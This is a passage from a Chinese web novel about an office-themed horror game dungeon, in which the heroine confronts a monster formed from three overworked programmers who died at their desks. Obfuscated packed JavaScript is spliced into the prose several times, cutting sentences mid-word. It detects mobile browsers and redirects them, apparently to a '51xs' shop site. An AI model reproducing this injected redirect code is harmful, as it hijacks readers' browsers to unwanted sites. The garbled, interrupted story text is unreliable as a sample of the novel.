艾经理唰地站起,办公椅被一把带翻,发出“哐当”一声。 她的耳边还回荡着“告白”二字。 “你说什么?!” 郝荨抬起头,目光缱绻:“其实,当我从电梯里第一眼见到你时,就被你的冷酷气质所深深打动——” “闭嘴!”艾经理厉声怒喝,“你以为其他人会信吗?!我都可以当你妈了!” 艾经理看着三十多岁的模样,但女性本来就显年轻,四十多岁也不无可能,再加上这是游戏副本,谁知道NPC在里面活了多久,但郝荨本来也不是真的要告白,她不为所动,语气反而更加温柔: “我知道,我都知道,但你或许不知道,在某些圈子,你这种戴着无边眼镜的妈系高智商姐姐最吃香了!” 郝荨震声道:“现在,你可以考虑一下负责人的事了吗?!” 艾经理完全被震住,无话可说,许久才颤着声音骂了一句:“荒谬!” 郝荨心知,艾经理根本就不可能让她说出告白的话语,这封【公主的告白信】一旦给出,对方迫于道具规则就势必会同意她的告白,这样一来,她们就会变成守则承认的办公室情侣,而守则反复强调的守则八却要求—— 【工作效率!工作效率!工作效率!为第一要义,一切私人事物要为工作效率让路。】 她们这种办公室情侣,尤其还是上下级情侣,会极大影响她们的工作效率,更关键的是,一旦被人知道她能靠这个上位,所有人都有可能也使用这种办法,会直接影响公司的风气,工作效率一落千丈。 可以说,这个方法于她而言是杀敌一千自损八百。 但郝荨也是实在没办法了,她的心脏提到半空,面上却分毫不显,笑眯眯地继续她的告白威胁:“这几天你一次次地把我的方案打回,我知道,你一定是担心我当选最佳员工被调去总公司,你舍不得我,对吗?” 艾经理捂住耳朵:“闭嘴!闭嘴!!!” 郝荨追到办公桌后,一把抓住对方的手臂凑到她耳边恶魔低语:“就在刚刚,你还故意借处理伤口的名义扒人家的外套,你就这么迫不及待吗?” 可怜的艾经理蹲了下去,钻进办公桌的桌洞里,郝荨也跟着蹲下,粉色信封直直往她脸上戳:“所以,我决定鼓起勇气来告诉你——” 她放慢语速,心脏几乎要跳出来。 自己都这样了对方为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162584|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么还是不同意,公司负责人究竟是什么样的存在让她如此忌讳? 她狠下心,决定放出最后的大杀器: “我——喜——” “名额给你!”艾经理彻底崩溃,“三个最佳员工的名额都给你!” 郝荨这一瞬间真的狠狠心动了,只要她点头同意,就能和法瑟余逸一起全身而退,一点危险也不用冒。 但她很快又想到自己和小乔的交易,那枚和神明有关的碎片。 她继续开口:“欢——” “我带你去见‘它’。” 郝荨倏然住口。 ‘它’?‘它’就是负责人? 艾经理将散下来的发丝重新束起,神情有些萎靡:“但你得做好准备,‘它’现在很危险。” 见对方妥协,郝荨连忙追问:“‘它’……到底是什么东西?” “‘它’,或者说‘它们’,是最早一批最佳员工。” 郝荨瞬间回想起他们之前遇到的那次电梯故障,要不是法瑟靠蛮力逼停,他们可能已经变成了一滩肉泥,那时员工卡上出现的——就是那三位最佳员工。 “他们是如何变成‘它们’的?” 艾经理摇摇头:“我不能再说了,‘它’无处不在。” 她站起身,将休眠的电脑显示屏打开,郝荨震惊发现这屏幕上竟然什么都没有! 每次她进来时艾经理都专心致志地盯着这台屏幕,她还以为对方在认真工作…… “跟我来。” 一旦下定决心,艾经理便动作麻利地掏出自己的员工卡往屏幕上一靠,显示屏发出“滴滴”两声。 【经理权限已开启】 她伸出手去触摸显示屏,就在郝荨以为会被挡住时,手掌流畅穿过:“不要抗拒,直接进入。” 一阵黑雾如蝗虫一般从电脑中飞出,包裹住艾经理后停顿了两秒,随即也向她飞来,郝荨来不及细想,她只来得及拿笔在告白信上快速写了一句话,身体便骤然一轻,仿佛被那黑雾托着,向某处隐秘之处快速飘去。 不知道过了多久,她的脚忽然落到了实处,轻柔的音乐在空旷的走廊中回荡,走廊尽头的门半开着,暖黄的光线影影绰绰,门边挂着一个分外眼熟的标牌—— ——休息室。 “‘它’就在里面。”艾经理平静地看向那扇门,没有要迈开脚步的意思。 郝荨点点头,独自一人走向那间休息室。 “嘎吱——” 推开门的瞬间,暖黄的光线瞬间消失,这里并不是她想象中的休息室,而是一间冰冷的办公室。 不,准确的说,更像是一间“机房”。 老旧的日光灯看上去已经有些年头,照得房间死气沉沉,四面墙上挂着无数台大大小小的显示屏,将墙壁挤得满满当当。 郝荨定睛一瞧,那上面赫然是公司各处的画面! 她甚至还在上头找到了法瑟和余逸,两人还站在办公室的门口等待着她。 机房正中心蠕动着一座如小山般的怪物,和巴哥身上的那团黑雾一样,像是某种特殊物质的聚集体,黑雾凝结在一起,混杂着受损的内脏和灰白的头发,她打眼一瞧,有一大半都像是肝的模样。 那怪物的头部左右摇晃着,忽然,他像是察觉到了什么,猛地回过头来,露出一张巨大的嘴巴。 45. 办公室员工守则15 那怪物似乎很震惊竟然有普通员工来到这里,嘴巴“哗”地张开,一台摄像头伸了出来—— 被扫描的不适感和冷气一起扫来,鼻腔和喉咙开始刺痛。 郝荨想了想,先自我介绍道:“尊敬的负责人先生你们好,我是这周新来的员工玛弥,不知道各位怎么称呼?” 摄像头瞬间收回,一时间场面都寂静了几秒。 怪物的嘴巴张了又张,冒出一个男人的声音,听起来有点年轻:“……老大,姑娘问你话呢。” 紧接着,那张嘴里又冒出另一个男性声音,比之前那个要年长许多:“别烦我,改小张的bug呢!马上要延期了。” “胡扯!哪里有bug!我都测试过了,肯定没问题!”最后一个男性声音很是暴躁,刚说完他忽然意识到不对,“不是!你们别搞了,有人来了!” 一阵兵荒马乱的声响过后,那黑雾上冒出了三只眼睛,和郝荨后背上的一样,眼珠是钟表样式,中间那个年长的声音威严道:“咳…现在是上班时间,你怎么在这儿?” 可怎么听怎么好像有点色厉内荏。 表盘上的指针飞速转动,郝荨攥了攥自己冰冷的手指:“我有重要情况要向各位反应。” “投诉?”左侧最年轻的那个声音看向中间那只被叫做“老大”的眼睛。 “举报?”右侧的小张,也就是暴躁的那个也看向了中间。 “别一惊一乍的,让人看笑话!”老大清清嗓子,“你要反应什么?” “咱们公司管理太混乱了,招新模式很有问题,每周的新员工留存率这么低,老员工也一个接一个倒在了竞争中,人越来越少,工作却越来越多,这样效率如何提上去!” 郝荨痛心疾首道:“就比如我们2702,我进来时有八个员工,现在呢?!剩下的员工都在经受巨大的心理压力,萎靡不振!” 年轻眼睛听到这话愣了一下,回过头看向2702的监控,正好看到小乔和琳达在吵架,这是……萎靡不振? “日日夜夜旗下分公司这么多,再这样下去,我们公司何时才能出头!你们就不担心、不恐慌吗?!作为公司一份子,我既然有这个能力,就愿意站出来帮大家承担这份压力!” 三只眼睛沉默了几秒,年轻眼睛小声问:“她什么意思?” 老张看向老大:“她好像说了很多,又好像什么都没说。” 老大缓缓开口:“所以,你的意思是……想当管理员?” 郝荨矜持一笑。 数秒后,老大突然哈哈大笑起来,另外两只虽然没听懂,但也不妨碍他们跟着老大一起笑。 黑雾般的身体随着他们的笑声上下起伏,老大忽的止住笑:“这么多新人里,你还是头一个提出这种请求的。” 他声音冷了下来:“我们不需要管理员。” 郝荨还想再争取,老大却直接斩断她的想法:“这份工作就这样,爱做不做!” “但你别忘了,你不做,有的是人做!” 他的声音听起来充满了高位者的鄙夷,可细听却又好像残存些许愤恨。 为什么? 郝荨叹了口气,好在她的目的只是见到‘它’,这个管理员计划的成功与否关系不大,她点开自己唯一一个技能。 【身临其境:使用此技能,可让某人与另一人进行情境连结,被使用者将会强制进入选中的片段,使之感同身受。】 【片段选择:怨念最深时】 【作用对象:‘它’】 下一秒,无数画面在她眼前滚动,幼年、少年、青年……无数个时间点的三人一闪而过,最终停留在了三个画面上—— 结婚二十周年纪念日,妻子和两个孩子在家欢欣雀跃地等待他的归来,门开后却是一张苦涩的脸,上司的电话让他只能连声抱歉,在大家的失望中他开车离开,那辆破车又半路抛锚,无奈,他只好抱着电脑包去挤晚高峰的地铁,鞋子都被挤掉了一只。 手机疯狂震动,一张暴躁沧桑的脸从枕头中抬起,先是父亲催他回乡考公后是母亲发来的女孩照片,强烈要求他回家相亲,他烦躁地扔掉手机正要再睡,上司一个电话打来,他只能压着气脸都来不及洗就离开了家。 阴暗的地下室被拆分成了十二个格子间,充满朝气的脸刚才还带着对未来的憧憬,手机里不间断的缴费信息却瞬间压得他喘不过气,他想问朋友借钱,但朋友也都是刚刚毕业的学生,甚至还要反过来问他借钱,他又点开父母的通讯,犹豫半天,上司却打来电话怒骂,他连忙唯唯诺诺套上鞋就跑。 画面汇聚,三人在寸土寸金的高楼大厦下集合,穿着差不多的灰白色T恤,套着差不多的格子外套,每张脸上都是对生活的麻木与迷茫。 白光闪过,再睁开眼时,一声大骂伴随着唾沫星子劈头盖脸打在郝荨脸上: “爱做不做,你们不做,有的是人做!!!” “陈乐业,都什么时候了还请假?你不想干了是吧?!就你这个年纪,除了公司谁还能要你?啊?加个班而已,等你工作没了就开心了!我倒要看看你到时候拿什么养你那老婆孩子,拿什么照顾你爸妈!” “还有你!张兴!我打电话给你你居然还在睡觉!咱们公司就你最不努力,这么多bug看不见吗?你怎么好意思的?!什么时候改到没bug了才准走!” 大腹便便的上司口若悬河唾沫横飞,说到兴起时拿起文件夹就砸在他们身上,他喘了喘气,看到了最后一个人。 “你是今年新来的大学生是吧?叫什么来着,王…王……” “王川。”王川抖了抖,小声提醒。 “对,王川!年轻人呢要不怕苦不怕累,不要向你们组某些人学习,天天就知道偷懒!今天你就留在这,把程序都给测试了吧,别再让人抓出问题!到时候我面上无光是小事,你们破坏公司效率被开可是大事!” “砰!” 一声巨响,办公室的门被狠狠关上,见上司已经拎包走人,几人才松了口气。 公司不算太大,但也不小,背靠日日夜夜总公司生意还算不错,他们的办公地点位于市中心最繁华的办公商圈,现在已是夜里八点,窗外灯火通明,整栋大楼都亮着灯。 “老大,嫂子那边没事吗?” 王川给大家倒了三杯咖啡,做好彻夜苦战的准备。 哪怕他进公司三个月就加了三个月的班,每天不到夜里一两点不会下班。 但他觉得还好,反正自己年轻嘛,还能熬一熬,现在吃的苦未来都会成为他简历上的一部分,是他荣耀的功勋章。 被叫做“老大”的陈乐业是他们项目组的小组长,他已经四十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174131|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁,在这个行业里四十多岁基本等同于入土,几年前公司就找他谈了薪酬改革的事,他一忍再忍,实在是没办法,孩子正是用钱的时候,父母也年纪大了,他的房贷还没还完,车又坏了,实在没有资本拒绝公司的加班要求。 “没事,我们都老夫老妻了,也不差这么一个纪念日,还是快点改项目吧,争取大家早点回家。” 加点班而已,他再咬牙坚持个十来年就能退休了,等退休之后他再好好补偿家人,过过舒服日子。 “还回家?这水猴子懂个屁的项目,天天抓我们加班垫背自己跑路,哪有程序没bug的!” 张兴气得几口喝完咖啡,心脏砰砰直条,他暴躁道:“老子为了这破项目都通宵半个月了!好不容易调休一天回家休息,就在这烦烦烦!真要人猝死了他才开心是吧!” 他虽然嘴巴上这么说,心里却不觉得自己真的会猝死,他们这行业加班是常态,不加班才是例外,大家都加,总不至于就他这倒了八辈子血霉吧! 时间很快来到了十二点,隔壁大楼开始慢慢熄灯,他们羡慕地看了一眼。 “咱们还有多久啊?” 王川深呼吸了一口气,感觉有些不太舒服,他打算站起来走走,却没想到刚一站起,眼前就一黑,摔回了椅子里。 “怎么了?” 陈乐业吓了一跳,连忙上前查看。 “没事,”王川缓了缓,“可能有点低血糖,我去加点砂糖。” 张兴嘴巴里叼着根烟,没有点燃,只是无意识地一点点嚼着烟草:“再两三个小时吧。” 他的眼睛有点花,用力闭了闭眼,心想着回头得去查查视力,可别被这傻呗公司搞坏了他5.0的眼睛。 陈乐业还是有些担心,他在这行做得久了,经常听说哪家公司的谁谁谁因为加班猝死的事,小王可还年轻,要是真在他手底下没了他可怎么跟人父母交代。 他锤了锤酸痛的腰,空调坏了?怎么感觉有点热,他摸了一把刺痛的颈椎,出了好多汗。 “小王,你可别勉强自己,实在不行先回去吧,明天早点来也行。” “谢谢老大,但我真的没事!”他拆了一包砂糖放进咖啡里,哪个大学生还没熬过几天夜啊,他心里有数。 手机震了一下,是他妈发来的语音信息: ——【儿子,你在大城市辛苦吗?】 他鼻子一酸,迅速回道: 【我不辛苦。】 ——【不辛苦就好,遇到什么事别怕,大不了回家妈养你。】 王川强忍住眼泪,他正要打字,对面又发了一条信息来: ——【对方打款:50元。】 ——【这是妈今天的工资,你拿着,我听隔壁说她女儿刚毕业的时候很缺钱,她一个月要给女儿打两千块,妈没用,只能打这么多,你别嫌少。】 他再也忍不住,“呜呜”哭了出来,颤抖着手指在屏幕上边打边删: 【妈,我现在的项目马上要完成了,有很多奖金,您不用担心我,等明天结束我就请假回家看……】 字还没打完,他忽然感觉呼吸有点困难,他一把撑在台面,打翻了纸杯,棕色的液体顺着台面汩汩流下。 张开嘴想叫人,却怎么也发不出声音。 王川顺着台子缓缓滑落在地…… 46. 办公室员工守则16 办公室里,陈乐业的电话突然响了,是妻子打来的,他赶忙接起—— “什么?!” 敲打着代码的张兴诧异地回了一下头,陈乐业注意到这点,他走到了办公室门外。 “老婆,你慢点说,别急!” “公公摔了一跤,医生说是脑溢血很危险!” 陈乐业的脑袋像是被巨锤砸了一下,整个人都有点发晕。 “我们现在在一院ICU,你什么时候能到?!” “我、我……” 他想起上司的辞退威胁,情感和理智在头脑中拉扯,他的父亲已经七十多岁,这个年纪的老人摔一跤……他不敢去想这个后果,但手头这个项目是今年公司的重点项目,明天就要上线,他作为组长现在敢离开,明天上司就很可能真的会辞退他! 心脏闷闷地钝痛,他没有在意,只在心里计算了一下时间: “老婆,我这样,两点一结束我立马就去!” 说完,他便大步走到张兴旁边:“小张,你把任务分一下,我们一起做,以最快的速度做完。” 或许是太过悲痛,他的后背几乎被完全汗湿,心脏痛得厉害,他只强迫自己集中精神,努力将剩下的任务快点修改完成。 任务分了一点给组长,张兴稍稍轻松了些,他在心里疯狂辱骂水猴子才算让自己好过了一些。 眼前忽的出现了雪花,他闭上眼缓了整整一分钟才缓解过来,看来这视力是保不住了,也不知道这次项目结束水猴子能不能多发点奖金。 想到奖金,他又想起去年被水猴子扣掉的绩点,他又骂了一句,本来他告诉家人自己的年终奖很高,都快让他们放弃催他回家了,结果水猴子这么一搞,这年终奖有还不如没有,打发叫花子似的,害他被他骂狠骂一通,骂他给他老张家丢脸,人家孩子都考上了公,就他在外面当民工,还说不考公就再也不要回家了! 他发誓,这次项目上线之后一定要拿奖金回去狠狠打他爹的脸! 想象着他爹反过来讨好他,张兴终于缓解了些许头脑的刺痛,他开了一瓶辅酶往嘴里塞了两颗,长久的通宵熬夜让他的心率早已失常,时不时就要停跳一下,吃完药,他感觉自己好多了。 时间很快到了两点,检查完最后一遍代码,他终于伸了个懒腰,下意识忽视掉越来越痛的脑袋,他努力吸了两口气,这次确实熬夜熬狠了,回家他要一觉睡到明天晚上。 “老大,我做完了,你那头呢?” 没有回应。 张兴有些奇怪,又叫了一句:“老大?” 他回过头,高档的办公楼寸土寸金,所有员工的电脑都挤在一起。一台挨着一台,恍惚间看去,像是一座座小小的墓碑。 还是没有回应。 他站起身,电脑后的陈乐业趴在那,似乎睡着了。 张兴走过去推了他一把:“老大!结束了,回去再睡吧!” 可是他没想到,这一推,竟然直接把陈乐业推了下去,中年男性的身躯重重砸在地上,那张脸上满是青紫。 不知在什么时候,陈乐业猝死了,屏幕还停留着他没写完的代码。 张兴头皮发紧,他大叫起来:“小王!王川!快来帮忙!” 可叫了几遍都没有声音,他忽然发现,王川去倒咖啡后就再也没有回来。 张兴喘着粗气跑到茶水室,茶水室里咖啡翻倒在地,王川青紫着脸坐在那里,也没了呼吸。 突然,他感觉自己的心脏重重一跳,张兴暗道不好,急忙想要回去拿手机打电话,心脏跳的越来越快,越来越快,他眼前一花摔倒在地,耳朵一阵耳鸣,仿佛能听到血液流动的声音。 他不知道的是,他现在的脸……也是紫色的。 空荡的办公室里,陈乐业的手机铃声响了起来,上头显示着“老婆”两个字,铃声一遍又一遍地响着,可它不知道的是,这间办公室里,已经没有人能接起它了…… 画面扭曲着将郝荨弹出,她大汗淋漓,仿佛自己就是陈乐业、张兴和王川一样,对死亡的恐惧还笼罩着她,泪水止不住地流下。 她终于明白了这场游戏的怨念核心是什么,对于‘它’而言,偷懒是罪恶的,休息是异常的,而只有日复一日的辛勤工作才能证明大家是好员工……是自己人,证明自己当初的选择没有错。 但实际上,他们只是不愿意承认——自己早就已经后悔了。 “你在做什么?!”中年男性声如洪钟,大声呵斥道。 随着它的情绪波动,庞大的黑雾身体也开始鼓胀起来,无法抑制地四处乱窜。 郝荨红着眼,叫出了他的名字:“陈乐业,你真的要让所有人都跟你一样,有家不能回,连父亲最后一面都见不到吗?!” 那枚眼珠的表针越转越快,它愤怒道:“你懂什么?!你一个年轻小姑娘知道什么养家糊口!我有什么错?!” 郝荨望向暴躁眼珠:“你呢?张兴,你不是一直很想炸了公司,让水猴子跪下来痛哭流涕吗?现在是怎么了?屠龙者终成恶龙?” 张兴的表盘一下子崩裂,浓重的黑雾从里头窜出,露出一张分外扭曲的脸: “哈!你想说我错了?我活该倒霉猝死在工位上?活该给后来人撑伞?!凭什么?凭什么他们能准点下班我却这么倒霉?!我不服!我没错!” 郝荨摇摇头,看向最后一只眼睛,王川立刻向下缩了缩,试图躲开她的视线。 “王川,你也这么认为吗?” “我…我……” 王川支支吾吾,一团黑雾给他后脑来了一下,他猛然想起母亲打给自己的五十块钱:“我只想留在公司,我认真工作错了吗?刚刚转正每个月工资到手三千块错了吗?上司让加班我无法拒绝错了吗?实习工资只能勉强住地下室每天吃饭都只能吃最便宜的我错了吗?!我哪里错了?!” 黑雾突然炸开,四散的黑气散发着寒意,办公室里的温度越来越低,郝荨的发丝上染上冰碴,呼出的气都变成了白气,那三道声音混合在一起: “我没错!我没错——!!!” 一座庞然大物站了起来,身体由黑雾凝结而成,胸腔破破烂烂,露出了破败的内脏,无数面大大小小的钟表组成的头颅伸到郝荨跟前,问道: “你说,我错了吗?” 郝荨紧张地吞咽,她强迫自己冷静下来:“你没错。” 怪物愣住。 “你没错,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182944|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没错,小乔和琳达也没错,大家都没错。” 怪物张开嘴,冰冷的气息轻吐:“那谁错了?” 郝荨没有回答。 如果她是热血漫画主角,现在一定会说是世界的错,但她只是一个普普通通的毕业生,这个问题深究起来太过复杂,她没法给出能让所有人都信服的正确答案。 “我也不知道,但至少……这场惩罚该结束了。” 张兴的声音从怪物体内冒出:“哈哈!你说结束就结束?” 郝荨弯起嘴角,越过它望向墙上的显示屏。 下一秒,空间剧烈震动,无数碎石从天花板落下,刀光如天光扎破般划破黑暗。 “什么?!” 怪物回头望去,墙面瞬间四分五裂,灰尘散去,露出了走廊上密密麻麻的人影。 “哇,异次元空间真的存在诶!”余逸扭着头四处查看,看到墙壁上的显示屏时,嫌恶地“噫”了一声。 在他和法瑟身后,日日夜夜设计公司27楼里还残存的所有员工都张着嘴,一脸震惊。 “现在,惩罚还要继续吗?” 回应她的是一道怒吼,失去理智的怪物伸手就要抓她! “铛——” 法瑟闪身至她面前,薄薄一层长刀将那大掌牢牢抵住,郝荨只感觉身体一轻,再一眨眼,自己就出现在了人堆里。 琳达和小乔一步上前,把她挡得严严实实。 余逸瞪大双眼,不敢置信地看着这一幕。 不是!我那么大一个荨姐,怎么在你们NPC堆里啊! 搞错了吧! 郝荨开口:“你们来的时机刚好。” “嘿嘿!”余逸露出一个傻笑,“我还怕赶不上呢!” 进休息室前,她在告白信上留了一句话,告诉了他们进来的方法,又因为时间来不及,只草草写了“联名请愿”四个字,没想到他们不止明白了她在说什么,还把所有人都带了进来。 “轰隆!” 一声巨响,另一面墙也被切开,硝烟弥漫。 一个女声响起:“看来,我们也来得不算晚?” 是29层的“她”,随后,29层的“法瑟”和“余逸”也钻了出来,洞口外黑压压一片,是他们那层楼的其他员工。 郝荨和“她”对视一眼,不等她开口,天花板也破了个大洞,一个从未见过但又格外熟悉的女性脑袋探了出来:“开始了吗?我们没迟到吧?” 她下意识望向29层的“郝荨”,郝荨明白了,那是28层的自己。 被“它”分隔开的三个自己此刻在同一时空对视,她们本就一体,她们从未分开。 三人露出一模一样的笑意,她们大声喊道:“日日夜夜设计公司全员联名请愿!现有的公司制度已无法让公司稳定发展,严重侵害了所有员工的人身利益,我们要求更换负责人人选!” 所有员工异口同声重复道:“更换负责人人选!!!” 无数枚不起眼的螺丝钉组装在一起能制造出世界上最精密的牢笼,任何钥匙都无法打开。 但有趣的是,只要螺丝钉们不再听话,再可怕的牢笼也会失去作用,到时候,害怕的就成了制作牢笼之人。 47. 办公室员工守则17(完)^^…… “不,不可能……你们没有权限!不可能!” 怪物感觉到自己的力量正在流失,黑雾四窜,不再受到他的控制。 “不对、这不对——” 法瑟抓住机会,翻身上前,骨刀飞速旋出,将怪物拦腰劈开。 “它”的身体落在地上,以几乎肉眼可见的速度溃散着,郝荨走上前去凑到怪物耳边:“你们有一点错了。” 怪物的表针逐渐慢了下来,“它”的声音也变得虚弱:“什……么……” “你们以为这是神明给你们的奖赏,其实——” 她压下声音:“这是祂给你们的惩罚。” “不可……能!” “不然为什么员工可以用最佳员工的方式离开公司,你却不能?” 郝荨直起腰,神明是不是这么想的不重要,重要的是她确认了一件事—— ——这些游戏里最厉害的BOSS,也不过就是神明的一枚棋子罢了,小仓是,他们三个也是。 神明……究竟是什么? 为什么会创造出迷雾游戏? 又为什么……会选中自己。 太多的谜团萦绕在她脑海中,回过神时,这团黑雾组成的怪物已经渐渐消散在空气中,艾经理带着另外两位经理出现,怔忡地看着这一幕。 郝荨转过身,深吸一口气:“我提议,先由我代为日日夜夜设计公司的负责人,同意的举手!” 手臂齐齐举起,法瑟看了眼兴奋跳跃的小余,也后知后觉地举起手。 郝荨望向三位经理:“那么,我作为代负责人宣布:现有规则全部作废!” 巨大的欢呼声如潮水般涌来,她接着说道:“所有人,实行八小时工作制!” 郝荨闭上眼,她感觉自己缺失的部分逐渐汇拢,灵魂变得完整,同样的,疲惫也瞬间成了三倍,她忍不住打了个哈欠。 “今天休息,其他事明天再说!” 说完,她便就地倒了下去。 模糊间好像有谁将她抱起,她做了个美梦。 第二天。 郝荨伸了个懒腰,自己怎么在休息室的沙发上? 身上盖着的衣服掉了下去,她拿起一看,有些大,像是男款。 她回过头去,法瑟靠在窗前,阳光洒在他露出来的半张脸上,尘埃洋洋洒洒地漂浮着,明明是张平平无奇的脸,被窗框框住的场景却像是一副厚重而古老的油画。 或许,这就是所谓的氛围感口罩帅哥吧。 “早。” 刚出口她就被自己的声音吓了一跳,又干涩又沙哑。 活像是在沙漠里徒步走了三天似的。 “醒啦?!”余逸走了进来,真不愧是大学生,熬了那么久的夜睡一觉就立刻活蹦乱跳。 “咱们啥时候离开啊?” 郝荨想了想:“把大家都叫过来吧。” 时间合并后,三层楼的员工数量大大减少,比她想象得还要少,郝荨有些疑惑,还是艾经理出现才解开这疑问。 当初陈乐业张兴和王川三人猝死后,公司最重要的项目不止没有按时上线,还深陷舆论风波,当场就裁员了一半,而剩下的一半里,又被频频出现的怪事吓到辞职,最终只剩下几个中层管理还留守在这里。 到现在,就只剩下他们三个了。 普通员工里,一部分是后来招到的新人,而另一部分,则是“它”制造出来的影子,之前【弗兰德斯之木仓】之所以无法对巴哥造成伤害,正是因为巴哥并不是人类,也非怨念,而是怨念制造出来的幻影,就像是游戏里的一段程序,她自然无法对一段程序造成伤害。 至于法瑟的骨质长刀……或许是长刀更高级的缘故?她没有多想。 也好在没有多少人,大家来茶水间里挤一挤也能站下。 郝荨喝了两口水润润嗓子,手里捏着从休息室里翻出来的印章:“想离开的可以直接离开,想升职调到总公司的来盖章。” 小乔率先站了出来,她伸出手,指甲粉嫩:“就盖这里吧。” 郝荨便拿起章子往她手上一戳,戳出个红印来。 盖完后,小乔没有离开,而是握住了郝荨的手,一枚质感柔润的宝石神不知鬼不觉地到了她的手中。 小乔凑了过来,小声道:“你现在知道我是谁了吗?” 能知道这是一场游戏,他们只是进入游戏的玩家,还能拥有玩家才会拥有的玩具,再加上艾经理提到的,有许多员工都是后来招到的“新人”,这答案已经很明了了。 郝荨轻轻开口:“有什么话要帮你带出去吗?” 小乔笑了笑:“不用了,与其让他们知道我死在了游戏里,还不如就当我失踪了,况且……” 她垂下头,眼中满是怅然:“在这里呆了太久,我已经连他们叫什么……都不记得了……” 郝荨张了张嘴,却不知道该如何安慰她,好在她很快便高兴起来,张开手,满意地看着手背上的公章: “老娘终于要离开这里了!喂!你干嘛呢?快点啊!” 她望向站在墙边的琳达,琳达却下意识移开了视线。 小乔瞪大双眼,不可思议道:“什么意思?你不去了?!” 她怒气冲冲地冲到琳达跟前,郝荨还想再看,下一个要盖章的员工遮挡了她的视线,除了目标明确的奋斗狂员工,其他员工都是为了活命才想要得到最佳员工的名额,现在不用升职也可以活下来,很多人都不知道自己该做什么,犹犹豫豫的,等章全部盖完,太阳已经到了头顶。 琳达和小乔还在吵,郝荨没有管她们,或许是真的不想上班了,有许多员工最终选择了直接离开,现在她面前站着的只剩下了三位经理:“你们呢?是想要留下吗?” 经理面面相觑,过了几秒,他们让开了视线,茶水室的门口露出了一个偷偷摸摸的脑袋瓜。 再接着,这颗脑袋上头又冒出了两个脑袋—— 是陈乐业、张兴和王川。 “你们怎么在这?!” 郝荨大为震惊,她还以为BOSS被打倒了就没事了,怎么还在?! 张兴和王川齐齐看向陈乐业,这个可怜巴巴头上只剩几根毛的中年男人不好意思地站了出来: “领导,我们都知道错了……” “打住!”郝荨瞬间起了鸡皮疙瘩,“别乱叫啊,谁是你们领导!” 陈乐业摸了摸光溜溜的脑袋,挤出一个讨好的笑:“我们已经深刻认识到了自己的错误,您看能不能……?” “你们到底想说什么?” 张兴等得有些不耐烦,他推了一把王川,一不小心把他推了个趔趄。 “嗨,这公司眼看不成了,我们得找退路吧,刚好听说你是什么很厉害的游乐园老板,就想问问你要不要招人,我跟老大有丰富的互联网工作经验,小王也是高校出来的,吃苦耐劳还人傻,多水灵的韭菜啊!帮帮忙吧老板!” 王川的耳朵“唰”一下红了,手摸索了半天,似乎是条件反射想找简历。 郝荨:“啊?” 听说?从哪听说的? 这简直是危言耸听!!! 她连忙摆手拒绝三连,让卷王来游乐园上班,那她以后还有好日子过吗? 说不定直接转型007,一想到大厂那些kpi内卷制度她就开始头晕。 “这样吧,你们只要以后别这么过分,老老实实八小时工作制,我就把公司还给你们,我相信你们可以从0做起白手起家,以后别再把恶习带到这里了。” 张兴还想再说,被陈乐业一把拉住,三人只能无奈退开。 他们放弃后,28层和29层的经理也纷纷告退,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道!”余逸眼睛一亮,“迷雾游戏里有系列本,类似网游里的连环任务,玩家必须要打通前置副本才能得到最终副本的邀请函,我之前找资料的时候刷到过,日日夜夜公司好像是大型高阶副本,说不定我们的这个最佳员工的章就是邀请函!” 他耿直道:“这个邀请函老贵了!我们就算不想进也可以卖给巴别塔之歌,他们一直在回收各种类型的副本邀请函呢。” 他刚刚说完,手上就被盖了个戳。 郝荨啪啪几下给大家盖完,下一秒,下班的铃声就响了起来。 五点到了。 所有人的笑容一瞬间定格,大楼化作光点消散,看守者再次出现。 它还是那么卡顿,就好像一台开了三年没有关过机的电脑。 【恭喜玩家通关F级特殊副本“办公室员工守则”】 【副本将在三十分钟后关闭,玩家可选择提前离开,或时间结束自动传送。】 要离开时,404忽然叫住她: 【这颗核心不需要吗?】 郝荨一愣,还以为自己幻听了。 【他们在唉声叹气,似乎很想为你工作。】 郝荨:? 不是,她的事迹难道已经在看守者们中流传了吗? 怎么谁都知道她需要怨念核心? 但她开的是游乐园,要颗内卷核心干嘛,来对齐颗粒度击穿用户痛点吗? 